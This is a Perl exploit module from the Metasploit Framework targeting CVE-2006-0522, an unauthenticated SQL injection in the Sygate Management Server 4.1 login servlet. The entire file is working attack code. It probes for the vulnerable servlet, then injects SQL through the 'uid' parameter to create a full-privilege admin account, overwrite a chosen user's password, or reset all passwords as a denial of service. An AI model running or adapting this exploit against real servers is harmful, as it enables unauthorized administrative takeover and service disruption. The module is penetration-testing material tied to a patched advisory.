
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

##
# 
# Affected product : Sygate Management Server v4.1 (at least)
#
# Vulnerability    : SQL-Injection in login page
# Required privs   : Network access to the admin interface (HTTP)
# Impact           : Raw access to the database
# Sample payload   : Create a valid admin account directly in the database  
#
# Editor status    : Official patch available
# http://securityresponse.symantec.com/avcenter/security/Content/2006.02.01.html
#
##

package Msf::Exploit::sygate_policy_manager;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;
use vars qw{$HAS_SHA1};

BEGIN 
{
	$HAS_SHA1 = 0;
	
	if (eval('require Digest::SHA1')) {
		eval('use Digest::SHA1 qw(sha1);');
		$HAS_SHA1 = 1;
	}	
}

my $advanced = { };

my $info = {
	'Name'     => 'Sygate Management Server SQL Injection',
	'Version'  => '$Revision: 1.4 $',
	'Authors'  => [ 'Nicob <nicob[at]nicob.net>' ],
	'Arch'     => [ 'x86' ],
	'OS'       => [ 'win32' ],
	'Priv'     => 0,
	'UserOpts' =>
	  {
		'RHOST'    => [1, 'ADDR',   'The target address'],
		'RPORT'    => [1, 'PORT',   'The target port', 80],
		'VHOST'    => [0, 'DATA',   'The virtual host name of the server'],
		'LOGIN'    => [0, 'LOGIN',  'The username to create/modify', 'reporting'],
		'PASSWD'   => [0, 'PASSWD', 'The encrypted password of this user', 'my_passwd'],
		'SERVLET'  => [1, 'DATA',   'Full path of the servlet', '/servlet/Sygate.Servlet.login'],
		'SSL'      => [0, 'BOOL',   'Use SSL'],
	  },

	'Description' => Pex::Text::Freeform(qq{
		This module exploits a non authenticated SQL-Injection vulnerability in the
		Sygate Management Server (now Symantec Policy Manager), in order to create a new
		admin account or change the password of an existing one. Version 4.1 is known to be vulnerable.
		Version 5 is not vulnerable.
}),

	'Refs' =>
	  [
		['URL',   'http://securityresponse.symantec.com/avcenter/security/Content/2006.02.01.html'],
		['CVE',   '2006-0522'],
		['OSVDB', '22883'],
		['BID',   '16452'],
	  ],

	'Targets' => 
		[
			['Change a specific users password', 'change_user_passwd'],
			['Create a new administrative account', 'add_account'],
			['Reset all passwords (denial of service)', 'reset_all'],
		],
	
	'DefaultTarget' => 0,
	
	'Keys' => ['sygate'],

  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my $self = shift;
	my $target_host    = $self->GetVar('RHOST');
	my $vhost          = $self->VHost;
	my $target_port    = $self->GetVar('RPORT');
	my $servlet        = $self->GetVar('SERVLET');
	
	my $request =
	  "GET $servlet?uid=test1&up=test2 HTTP/1.1\r\n".
	  "Accept: */*\r\n".
	  "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
	  "Host: $vhost:$target_port\r\n".
	  "Connection: Close\r\n".
	  "\r\n";

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr' => $target_host,
		'PeerPort' => $target_port,
		'SSL'      => $self->GetVar('SSL'),
	  );

	if ($s->IsError){
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return $self->CheckCode('Connect');
	}

	$self->PrintLine("[*] Establishing a connection to the target...");

	$s->Send($request);
	my $results = $s->Recv(-1, 20);
	$s->Close();
	
	if ($results =~ /HTTP\/1\..\s+200/) {

		$self->PrintLine("[*] Vulnerable server detected!");
		return $self->CheckCode('Confirmed');
		
	} elsif ($results =~ /HTTP\/1\..\s+([345]\d+)/) {

		$self->PrintLine("[*] The Sygate Policy Manager servlet was not found.");
		return $self->CheckCode('Safe');
	}

	$self->PrintLine("[*] Generic error...");
	return $self->CheckCode('Generic');
}

sub Exploit {
	my $self = shift;
	my $target_host    = $self->GetVar('RHOST');
	my $vhost          = $self->VHost;
	my $target_port    = $self->GetVar('RPORT');
	my $servlet        = $self->GetVar('SERVLET');
	my $login          = $self->GetVar('LOGIN');
	my $passwd         = $self->GetVar('PASSWD');
	my $target         = $self->Targets->[$self->GetVar('TARGET')];
	
	if (! $HAS_SHA1) {
		$self->PrintLine("[*] Please install the Digest-SHA1 module to use this exploit");
		return;
	}

	# The 'Password' field is a hex-encoded SHA-1 digest of the "user+password" string
	my $sha1 = sha1($login.$passwd);
	$sha1 =~ s/./sprintf("%02x", ord($&))/ges;
	$sha1 = "0x".uc($sha1);

	# Maximum level of privileges
	my $privs = "255";

	
	my %sqlpayloads = 
	(
		# Create a new valid admin account (in SMS v4.1) -- [BUG] : Can't access the Users panel :-(
		'add_account' => 
			"insert into CMS35.Admin (RecUpdateTime,LoginName,AdminNickName,Password,AdminRights,".
			"AdminEmail,FailedLogin,AlertOnFailure,AlertFailureThreshold,OnlineState) ".
			"values (getutcdate(),'$login','$login',$sha1,'$privs','',0,0,0,0)",

		# Reset the password of every account to "0x4141" (in SMS v4.1) -- Denial of Service only !
		'reset_all' =>
			"update CMS35.Admin set Password=cast('AA' as varbinary)",
	
		# Change the password of the selected account (in SMS v4.1) -- Yeah, full access to 'admin' !
		'change_user_passwd' =>
			"update CMS35.Admin set Password=$sha1 where LoginName='$login'",
	);
	
	my $payload = $sqlpayloads{ $target->[1] };

	# Inject our payload
	$servlet = $servlet."?uid=".Pex::Text::URLEncode("';$payload -- ")."&up=foo";

	my $request =
	  "GET $servlet HTTP/1.1\r\n".
	  "Accept: */*\r\n".
	  "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
	  "Host: $vhost:$target_port\r\n".
	  "Connection: Close\r\n".
	  "\r\n";

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr' => $target_host,
		'PeerPort' => $target_port,
		'SSL'      => $self->GetVar('SSL'),
	  );

	if ($s->IsError){
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$self->PrintLine("[*] Establishing a connection to the target...");
	$self->PrintLine(' ');
	$s->Send($request);
	my $results = $s->Recv(-1, 20);
	
	if ($results =~ /HTTP\/1\.. 200 OK/im) {
		# Seems to be fine ;-)
		$self->PrintLine("OK. Now try to log with user '$login' and passwd '$passwd'");
	} else {
		$self->PrintLine("Doh ! Are you sure this server is vulnerable ?");
	}

	$s->Close();
	return;
}

sub VHost {
	my $self = shift;
	my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
	return $name;
}

1;
